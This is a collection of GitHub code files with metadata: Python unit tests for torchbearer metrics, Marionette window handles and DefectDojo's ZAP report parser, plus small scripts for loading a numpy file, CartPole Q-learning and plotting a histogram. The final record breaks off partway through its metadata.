{"seq_id": "74663975909", "text": "import unittest\n\nfrom mock import Mock, call\n\nfrom torchbearer.metrics import RunningMean, Metric, RunningMetric, Mean, Std, Var\n\nimport torch\n\n\nclass TestVar(unittest.TestCase):\n    def test_variance_dim(self):\n        var = Var('test', dim=0)\n        var.process(torch.Tensor([[1., 2.], [3., 4.]]))\n        var.process(torch.Tensor([[4., 3.], [2., 1.]]))\n        var.process(torch.Tensor([[1., 1.], [1., 1.]]))\n\n        res = var.process_final()\n        self.assertTrue(len(res) == 2)\n        for m in res:\n            self.assertTrue(abs(m - 1.6000) < 0.0001)\n\n\nclass TestStd(unittest.TestCase):\n    def setUp(self):\n        self._metric = Metric('test')\n        self._metric.process = Mock()\n        self._metric.process.side_effect = [torch.zeros(torch.Size([])),\n                                            torch.FloatTensor([0.1, 0.2, 0.3]),\n                                            torch.FloatTensor([0.4, 0.5, 0.6]),\n                                            torch.FloatTensor([0.7, 0.8, 0.9]),\n                                            torch.ones(torch.Size([]))]\n\n        self._std = Std('test', unbiased=False)\n        self._std.reset({})\n        self._target = 0.31622776601684\n\n    def test_train(self):\n        self.setUp()\n        self._std.train()\n        for i in range(5):\n            self._std.process(self._metric.process())\n        result = self._std.process_final({})\n        self.assertAlmostEqual(self._target, result, places=5)\n\n    def test_validate(self):\n        self.setUp()\n        self._std.eval()\n        for i in range(5):\n            self._std.process(self._metric.process())\n        result = self._std.process_final({})\n        self.assertAlmostEqual(self._target, result, places=5)\n\n    def test_precision_error(self):\n        self.setUp()\n        self._std.train()\n        val = torch.tensor([0.55])\n        for i in range(2):\n            self._std.process(val)\n\n        result = self._std.process_final({})\n        self.assertEqual(0, result)\n\n    def setUpMoreDims(self):\n        self._metric = Metric('test')\n        self._metric.process = Mock()\n        self._metric.process.side_effect = [torch.zeros(torch.Size([])),\n                                            torch.FloatTensor([[0.1, 0.2, 0.3], [1.1, 1.2, 1.3]]),\n                                            torch.FloatTensor([[0.4, 0.5, 0.6], [1.4, 1.5, 1.6]]),\n                                            torch.FloatTensor([[0.7, 0.8, 0.9], [1.7, 1.8, 1.9]]),\n                                            torch.ones(torch.Size([]))]\n        self._std = Std('test', unbiased=False)\n        self._std.reset({})\n        self._target = 0.57662804083742\n\n    def test_more_dims(self):\n        self.setUpMoreDims()\n        for i in range(5):\n            self._std.process(self._metric.process())\n        result = self._std.process_final({})\n        self.assertAlmostEqual(self._target, result, places=5)\n\n    def test_std_dim(self):\n        std = Std('test', dim=0)\n        std.process(torch.Tensor([[1., 2.], [3., 4.]]))\n        std.process(torch.Tensor([[4., 3.], [2., 1.]]))\n        std.process(torch.Tensor([[1., 1.], [1., 1.]]))\n\n        res = std.process_final()\n        self.assertTrue(len(res) == 2)\n        for m in res:\n            self.assertTrue(abs(m - 1.2649) < 0.0001)\n\n\nclass TestMean(unittest.TestCase):\n    def setUp(self):\n        self._metric = Metric('test')\n        self._metric.process = Mock()\n        self._metric.process.side_effect = [torch.zeros(torch.Size([])),\n                                            torch.FloatTensor([0.1, 0.2, 0.3]),\n                                            torch.FloatTensor([0.4, 0.5, 0.6]),\n                                            torch.FloatTensor([0.7, 0.8, 0.9]),\n                                            torch.ones(torch.Size([]))]\n\n        self._mean = Mean('test')\n        self._mean.reset({})\n        self._target = 0.5\n\n    def test_train_dict(self):\n        self.setUp()\n        self._mean.train()\n        for i in range(5):\n            self._mean.process(self._metric.process())\n        result = self._mean.process_final({})\n        self.assertAlmostEqual(self._target, result, places=5)\n\n    def test_validate_dict(self):\n        self.setUp()\n        self._mean.eval()\n        for i in range(5):\n            self._mean.process(self._metric.process())\n        result = self._mean.process_final({})\n        self.assertAlmostEqual(self._target, result, places=5)\n\n    def setUpMoreDims(self):\n        self._metric = Metric('test')\n        self._metric.process = Mock()\n        self._metric.process.side_effect = [torch.zeros(torch.Size([])),\n                                            torch.FloatTensor([[0.1, 0.2, 0.3], [1.1, 1.2, 1.3]]),\n                                            torch.FloatTensor([[0.4, 0.5, 0.6], [1.4, 1.5, 1.6]]),\n                                            torch.FloatTensor([[0.7, 0.8, 0.9], [1.7, 1.8, 1.9]]),\n                                            torch.ones(torch.Size([]))]\n        self._mean = Mean('test')\n        self._mean.reset({})\n        self._target = 0.95\n\n    def test_more_dims(self):\n        self.setUpMoreDims()\n        for i in range(5):\n            self._mean.process(self._metric.process())\n        result = self._mean.process_final({})\n        self.assertAlmostEqual(self._target, result, places=5)\n\n    def test_mean_dim(self):\n        mean = Mean('test', dim=0)\n        mean.process(torch.Tensor([[1., 2.], [3., 4.]]))\n        mean.process(torch.Tensor([[4., 3.], [2., 1.]]))\n        mean.process(torch.Tensor([[1., 1.], [1., 1.]]))\n\n        res = mean.process_final()\n        self.assertTrue(len(res) == 2)\n        for m in res:\n            self.assertTrue(abs(m - 2.0) < 0.0001)\n\n\nclass TestRunningMetric(unittest.TestCase):\n    def setUp(self):\n        self._metric = RunningMetric('test', batch_size=5, step_size=5)\n        self._metric.reset({})\n        self._metric._process_train = Mock(return_value=3)\n        self._metric._step = Mock(return_value='output')\n\n    def test_train_called_with_state(self):\n        self._metric.train()\n        self._metric.process({'test': -1})\n        self._metric._process_train.assert_called_with({'test': -1})\n\n    def test_cache_one_step(self):\n        self._metric.train()\n        for i in range(6):\n            self._metric.process({})\n        self._metric._step.assert_has_calls([call([3]), call([3, 3, 3, 3, 3])])\n\n    def test_empty_methods(self):\n        metric = RunningMetric('test')\n        self.assertRaises(NotImplementedError, lambda: metric._step(['test']) is None)\n        self.assertRaises(NotImplementedError, lambda: metric._process_train(['test']) is None)\n\n\nclass TestRunningMean(unittest.TestCase):\n    def setUp(self):\n        self._metric = Metric('test')\n        self._mean = RunningMean('test')\n        self._cache = [torch.Tensor([1.0]), torch.Tensor([1.5]), torch.Tensor([2.0])]\n        self._target = 1.5\n\n    def test_train(self):\n        result = self._mean._process_train(torch.FloatTensor([1.0, 1.5, 2.0]))\n        self.assertAlmostEqual(self._target, result, 3, 0.002)\n\n    def test_step(self):\n        result = self._mean._step(self._cache)\n        self.assertEqual(self._target, result)\n\n    def test_dims(self):\n        mean = RunningMean('test', dim=0)\n        cache = [mean._process_train(torch.Tensor([[1., 2.], [3., 4.]])),\n                 mean._process_train(torch.Tensor([[4., 3.], [2., 1.]])),\n                 mean._process_train(torch.Tensor([[1., 1.], [1., 1.]]))]\n\n        res = mean._step(cache)\n        self.assertTrue(len(res) == 2)\n        for m in res:\n            self.assertTrue(abs(m - 2.0) < 0.0001)\n", "repo_name": "pytorchbearer/torchbearer", "sub_path": "tests/metrics/test_aggregators.py", "file_name": "test_aggregators.py", "file_ext": "py", "file_size_in_byte": 7629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 630, "dataset": "github-code", "pt": "71", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torchbearer.metrics.Var", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 15, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torchbearer.metrics.Metric", "line_number": 25, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 31, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Std", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Metric", "line_number": 64, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 70, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Std", "line_number": 71, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Std", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 86, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torchbearer.metrics.Metric", "line_number": 96, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 102, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Mean", "line_number": 104, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Metric", "line_number": 125, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 131, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Mean", "line_number": 132, "usage_type": "call"}, {"api_name": "torchbearer.metrics.Mean", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 147, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 155, "usage_type": "attribute"}, {"api_name": "torchbearer.metrics.RunningMetric", "line_number": 157, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 159, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 160, "usage_type": "call"}, {"api_name": "mock.call", "line_number": 171, "usage_type": "call"}, {"api_name": "torchbearer.metrics.RunningMetric", "line_number": 174, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 179, "usage_type": "attribute"}, {"api_name": "torchbearer.metrics.Metric", "line_number": 181, "usage_type": "call"}, {"api_name": "torchbearer.metrics.RunningMean", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 187, "usage_type": "call"}, {"api_name": "torchbearer.metrics.RunningMean", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 197, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 198, "usage_type": "call"}]}
{"seq_id": "20740507236", "text": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport types\n\nfrom marionette_driver import By, errors, Wait\n\nfrom marionette_harness import MarionetteTestCase, skip_if_mobile, WindowManagerMixin\n\n\nclass TestWindowHandles(WindowManagerMixin, MarionetteTestCase):\n\n    def setUp(self):\n        super(TestWindowHandles, self).setUp()\n\n        self.empty_page = self.marionette.absolute_url(\"empty.html\")\n        self.test_page = self.marionette.absolute_url(\"windowHandles.html\")\n        self.marionette.navigate(self.test_page)\n\n    def tearDown(self):\n        self.close_all_tabs()\n\n        super(TestWindowHandles, self).tearDown()\n\n    def assert_window_handles(self):\n        try:\n            self.assertIsInstance(self.marionette.current_window_handle, types.StringTypes)\n        except errors.NoSuchWindowException:\n            pass\n\n        for handle in self.marionette.window_handles:\n            self.assertIsInstance(handle, types.StringTypes)\n\n    def test_window_handles_after_opening_new_tab(self):\n        def open_with_link():\n            link = self.marionette.find_element(By.ID, \"new-tab\")\n            link.click()\n\n        new_tab = self.open_tab(trigger=open_with_link)\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs) + 1)\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n\n        self.marionette.switch_to_window(new_tab)\n        self.assert_window_handles()\n        self.assertEqual(self.marionette.current_window_handle, new_tab)\n        Wait(self.marionette, timeout=self.marionette.timeout.page_load).until(\n            lambda mn: mn.get_url() == self.empty_page,\n            message=\"{} did not load after opening a new tab\".format(self.empty_page))\n\n        self.marionette.switch_to_window(self.start_tab)\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n        self.assertEqual(self.marionette.get_url(), self.test_page)\n\n        self.marionette.switch_to_window(new_tab)\n        self.marionette.close()\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs))\n\n        self.marionette.switch_to_window(self.start_tab)\n        self.assert_window_handles()\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n\n    def test_window_handles_after_opening_new_browser_window(self):\n        def open_with_link():\n            link = self.marionette.find_element(By.ID, \"new-window\")\n            link.click()\n\n        # We open a new window but are actually interested in the new tab\n        new_tab = self.open_tab(trigger=open_with_link)\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs) + 1)\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n\n        # Check that the new tab has the correct page loaded\n        self.marionette.switch_to_window(new_tab)\n        self.assert_window_handles()\n        self.assertEqual(self.marionette.current_window_handle, new_tab)\n        Wait(self.marionette, self.marionette.timeout.page_load).until(\n            lambda _: self.marionette.get_url() == self.empty_page,\n            message=\"The expected page '{}' has not been loaded\".format(self.empty_page))\n\n        # Ensure navigate works in our current window\n        other_page = self.marionette.absolute_url(\"test.html\")\n        self.marionette.navigate(other_page)\n        self.assertEqual(self.marionette.get_url(), other_page)\n\n        # Close the opened window and carry on in our original tab.\n        self.marionette.close()\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs))\n\n        self.marionette.switch_to_window(self.start_tab)\n        self.assert_window_handles()\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n        self.assertEqual(self.marionette.get_url(), self.test_page)\n\n    @skip_if_mobile(\"Fennec doesn't support other chrome windows\")\n    def test_window_handles_after_opening_new_non_browser_window(self):\n        def open_with_link():\n            self.marionette.navigate(self.marionette.absolute_url(\"blob_download.html\"))\n            link = self.marionette.find_element(By.ID, \"blob-download\")\n            link.click()\n\n        new_win = self.open_window(trigger=open_with_link)\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs))\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n\n        self.marionette.switch_to_window(new_win)\n        self.assert_window_handles()\n\n        # Check that the opened window is not accessible via window handles\n        with self.assertRaises(errors.NoSuchWindowException):\n            self.marionette.current_window_handle\n        with self.assertRaises(errors.NoSuchWindowException):\n            self.marionette.close()\n\n        # Close the opened window and carry on in our original tab.\n        self.marionette.close_chrome_window()\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs))\n\n        self.marionette.switch_to_window(self.start_tab)\n        self.assert_window_handles()\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n\n    def test_window_handles_after_closing_original_tab(self):\n        def open_with_link():\n            link = self.marionette.find_element(By.ID, \"new-tab\")\n            link.click()\n\n        new_tab = self.open_tab(trigger=open_with_link)\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs) + 1)\n        self.assertEqual(self.marionette.current_window_handle, self.start_tab)\n\n        self.marionette.close()\n        self.assert_window_handles()\n        self.assertEqual(len(self.marionette.window_handles), len(self.start_tabs))\n\n        self.marionette.switch_to_window(new_tab)\n        self.assert_window_handles()\n        self.assertEqual(self.marionette.current_window_handle, new_tab)\n        Wait(self.marionette, self.marionette.timeout.page_load).until(\n            lambda _: self.marionette.get_url() == self.empty_page,\n            message=\"The expected page '{}' has not been loaded\".format(self.empty_page))\n\n    def test_window_handles_after_closing_last_tab(self):\n        self.close_all_tabs()\n        self.assertEqual(self.marionette.close(), [])\n", "repo_name": "WaterfoxCo/Waterfox-Classic", "sub_path": "testing/marionette/harness/marionette_harness/tests/unit/test_window_handles_content.py", "file_name": "test_window_handles_content.py", "file_ext": "py", "file_size_in_byte": 6726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 160, "dataset": "github-code", "pt": "71", "api": [{"api_name": "marionette_harness.WindowManagerMixin", "line_number": 12, "usage_type": "name"}, {"api_name": "marionette_harness.MarionetteTestCase", "line_number": 12, "usage_type": "name"}, {"api_name": "types.StringTypes", "line_number": 28, "usage_type": "attribute"}, {"api_name": "marionette_driver.errors.NoSuchWindowException", "line_number": 29, "usage_type": "attribute"}, {"api_name": "marionette_driver.errors", "line_number": 29, "usage_type": "name"}, {"api_name": "types.StringTypes", "line_number": 33, "usage_type": "attribute"}, {"api_name": "marionette_driver.By.ID", "line_number": 37, "usage_type": "attribute"}, {"api_name": "marionette_driver.By", "line_number": 37, "usage_type": "name"}, {"api_name": "marionette_driver.Wait", "line_number": 48, "usage_type": "call"}, {"api_name": "marionette_driver.By.ID", "line_number": 67, "usage_type": "attribute"}, {"api_name": "marionette_driver.By", "line_number": 67, "usage_type": "name"}, {"api_name": "marionette_driver.Wait", "line_number": 80, "usage_type": "call"}, {"api_name": "marionette_driver.By.ID", "line_number": 103, "usage_type": "attribute"}, {"api_name": "marionette_driver.By", "line_number": 103, "usage_type": "name"}, {"api_name": "marionette_driver.errors.NoSuchWindowException", "line_number": 115, "usage_type": "attribute"}, {"api_name": "marionette_driver.errors", "line_number": 115, "usage_type": "name"}, {"api_name": "marionette_driver.errors.NoSuchWindowException", "line_number": 117, "usage_type": "attribute"}, {"api_name": "marionette_driver.errors", "line_number": 117, "usage_type": "name"}, {"api_name": "marionette_harness.skip_if_mobile", "line_number": 99, "usage_type": "call"}, {"api_name": "marionette_driver.By.ID", "line_number": 131, "usage_type": "attribute"}, {"api_name": "marionette_driver.By", "line_number": 131, "usage_type": "name"}, {"api_name": "marionette_driver.Wait", "line_number": 146, "usage_type": "call"}]}
{"seq_id": "40920099072", "text": "import numpy as np\r\nimport argparse\r\n\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--file', default='', type=str)\r\nopt = parser.parse_args()\r\n\r\nsee = np.load(opt.file, encoding='latin1', allow_pickle=True)\r\nprint(see.item()['imglabel'])\r\nprint(see.item()['imgid'])", "repo_name": "TonyWu199/NLP_REID", "sub_path": "dataset/cuhkpedes/see.py", "file_name": "see.py", "file_ext": "py", "file_size_in_byte": 279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "6695347432", "text": "import gym\nfrom gym import wrappers\nimport pandas as pd\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\n\nclass Learner:\n    def __init__(self):\n        num_states = 10 ** 4\n        num_actions = 2\n        self.qmatrix = np.random.uniform(low=-1, high=1, size=(num_states, num_actions))\n        self.epsilon = .6\n        self.gamma = .9\n        self.alpha = .2\n        self.epsilonDecay = .99\n        self.state = 0\n\n    def set_initial(self, state):\n        self.state = state\n        self.action = self.qmatrix[state].argsort()[-1]\n        return self.action\n\n    def getMove(self, newState, reward):\n        if random.random() < self.epsilon:\n            return random.randint(0,1)\n        newAction = self.qmatrix[newState].argsort()[-1]\n        self.qmatrix[self.state, self.action] = (1 - self.alpha) * self.qmatrix[self.state, self.action] + \\\n                                                    self.alpha*(reward + self.gamma * self.qmatrix[newState, newAction])\n        self.action = newAction\n        self.state = newState\n        self.epsilon *= self.epsilonDecay\n        return newAction\n\ndef build_state(features):\n    return int(\"\".join(map(lambda feature: str(int(feature)), features)))\n\ndef to_bin(value, bins):\n    return np.digitize(x=[value], bins=bins)[0]\n\ndef cart_pole_with_qlearning():\n    env = gym.make('CartPole-v0')\n    experiment_filename = './cartpole-experiment-1'\n    env = gym.wrappers.Monitor(env, experiment_filename, force=True)\n\n    learner = Learner()\n\n    timeSurvived = []\n\n    cart_position_bins = pd.cut([-2.4, 2.4], bins=10, retbins=True)[1][1:-1]\n    pole_angle_bins = pd.cut([-2, 2], bins=10, retbins=True)[1][1:-1]\n    cart_velocity_bins = pd.cut([-1, 1], bins=10, retbins=True)[1][1:-1]\n    angle_rate_bins = pd.cut([-3.5, 3.5], bins=10, retbins=True)[1][1:-1]\n\n    for episode in range(50000):\n        try:\n            observation = env.reset()\n        except:\n            pass\n\n        action = learner.set_initial(state)\n        for step in range(10000):\n            observation, reward, done, info = env.step(action)\n            cart_position, pole_angle, cart_velocity, angle_rate_of_change = observation\n            newState = build_state([to_bin(cart_position, cart_position_bins),\n                                       to_bin(pole_angle, pole_angle_bins),\n                                       to_bin(cart_velocity, cart_velocity_bins),\n                                       to_bin(angle_rate_of_change, angle_rate_bins)])\n\n            if done:\n                reward = -200\n\n            action = learner.getMove(newState, reward)\n\n            if done:\n                timeSurvived.append(step)\n                break\n        # plt.plot(timeSurvived)\n        # plt.pause(0.05)\n        # print(timeSurvived)\n        # if last_time_steps.mean() > goal_average_steps:\n        #     print(\"Goal reached!\")\n        #     print(\"Episodes before solve: \", episode + 1)\n        #     print(u\"Best 100-episode performance {} {} {}\".format(last_time_steps.max(),\n        #                                                           unichr(177),  # plus minus sign\n        #                                                           last_time_steps.std()))\n        #     break\n    env.monitor.close()\n\nif __name__ == \"__main__\":\n    random.seed(0)\n    # plt.ion()\n    cart_pole_with_qlearning()\n", "repo_name": "Reichenbachian/BalancingBot", "sub_path": "Simulator.py", "file_name": "Simulator.py", "file_ext": "py", "file_size_in_byte": 3356, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.uniform", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 25, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 39, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 42, "usage_type": "call"}, {"api_name": "gym.wrappers.Monitor", "line_number": 44, "usage_type": "call"}, {"api_name": "gym.wrappers", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pandas.cut", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 51, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 53, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "12734233343", "text": "from django.test import TestCase\nfrom dojo.models import Test\nfrom dojo.tools.zap.parser import ZapParser\n\n\nclass TestZapParser(TestCase):\n\n    def test_parse_no_findings(self):\n        testfile = open(\"dojo/unittests/scans/zap/empty_2.9.0.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertEqual(0, len(findings))\n\n    def test_parse_some_findings(self):\n        testfile = open(\"dojo/unittests/scans/zap/some_2.9.0.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertEqual(7, len(findings))\n\n    def test_parse_some_findings_0(self):\n        testfile = open(\"dojo/unittests/scans/zap/0_zap_sample.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertIsInstance(findings, list)\n\n    def test_parse_some_findings_1(self):\n        testfile = open(\"dojo/unittests/scans/zap/1_zap_sample_0_and_new_absent.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertIsInstance(findings, list)\n\n    def test_parse_some_findings_2(self):\n        testfile = open(\"dojo/unittests/scans/zap/2_zap_sample_0_and_new_endpoint.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertIsInstance(findings, list)\n\n    def test_parse_some_findings_3(self):\n        testfile = open(\n            \"dojo/unittests/scans/zap/3_zap_sampl_0_and_different_severities.xml\"\n        )\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertIsInstance(findings, list)\n\n    def test_parse_some_findings_5(self):\n        testfile = open(\"dojo/unittests/scans/zap/5_zap_sample_one.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertIsInstance(findings, list)\n\n    def test_parse_issue4360(self):\n        \"\"\"Report from GitHub issue 4360\n        see: https://github.com/DefectDojo/django-DefectDojo/issues/4360\n        \"\"\"\n        testfile = open(\"dojo/unittests/scans/zap/dvwa_baseline_dojo.xml\")\n        parser = ZapParser()\n        findings = parser.get_findings(testfile, Test())\n        self.assertIsInstance(findings, list)\n        self.assertEqual(19, len(findings))\n        with self.subTest(i=0):\n            finding = findings[0]\n            self.assertEqual(\"X-Frame-Options Header Not Set\", finding.title)\n            self.assertEqual(\"Medium\", finding.severity)\n            self.assertEqual(12, len(finding.unsaved_endpoints))\n            endpoint = finding.unsaved_endpoints[0]\n            self.assertEqual(\"http://172.17.0.2:80\", endpoint.host)\n            endpoint = finding.unsaved_endpoints[1]\n            self.assertEqual(\"http\", endpoint.protocol)\n            self.assertEqual(\"172.17.0.2\", endpoint.host)\n            self.assertEqual('/vulnerabilities/brute/', endpoint.path)\n        with self.subTest(i=18):\n            finding = findings[18]\n            self.assertEqual(\"Private IP Disclosure\", finding.title)\n            self.assertEqual(\"Low\", finding.severity)\n            self.assertEqual(4, len(finding.unsaved_endpoints))\n            endpoint = finding.unsaved_endpoints[0]\n", "repo_name": "manu20202/test1", "sub_path": "dojo/unittests/tools/test_zap_parser.py", "file_name": "test_zap_parser.py", "file_ext": "py", "file_size_in_byte": 3264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.test.TestCase", "line_number": 6, "usage_type": "name"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 10, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 11, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 16, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 17, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 22, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 23, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 28, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 29, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 34, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 35, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 42, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 43, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 48, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 49, "usage_type": "call"}, {"api_name": "dojo.tools.zap.parser.ZapParser", "line_number": 57, "usage_type": "call"}, {"api_name": "dojo.models.Test", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "15279293361", "text": "#绘制已经被统计过的数据\n#使用bar来描述直方图\n#描述分布的状态\nfrom matplotlib import pyplot as plt\nfrom matplotlib import font_manager\n\nmy_font=font_manager.FontProperties(fname=\"/System/Library/Fonts/PingFang.ttc\")\n\n#数据\ninterval = [0,5,10,15,20,25,30,35,40,45,60,90]#x\nwidth = [5,5,5,5,5,5,5,5,5,15,30,60]#组距\nquantity = [836,2737,3723,3926,3596,1438,3273,642,824,613,215,47]#共有多少个长条\n\nplt.figure(figsize=(20,8),dpi=80)\n#描点\nplt.bar(range(len(quantity)),quantity,width=1)#每个的width都有默认值\n#设置刻度\n_x=[i-0.5 for i in range(13)]#共有多少个刻度,不能忘记最后一个的值，更改\n_xtables=interval+[150]#本来已经是一个列表，所以使用列表进行\n\nplt.xticks(_x,_xtables)\n\nplt.show()", "repo_name": "gehong-coder/commit_paper", "sub_path": "MachineLearning/数据分析/learn直方图2.py", "file_name": "learn直方图2.py", "file_ext": "py", "file_size_in_byte": 772, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.font_manager.FontProperties", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.font_manager", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", 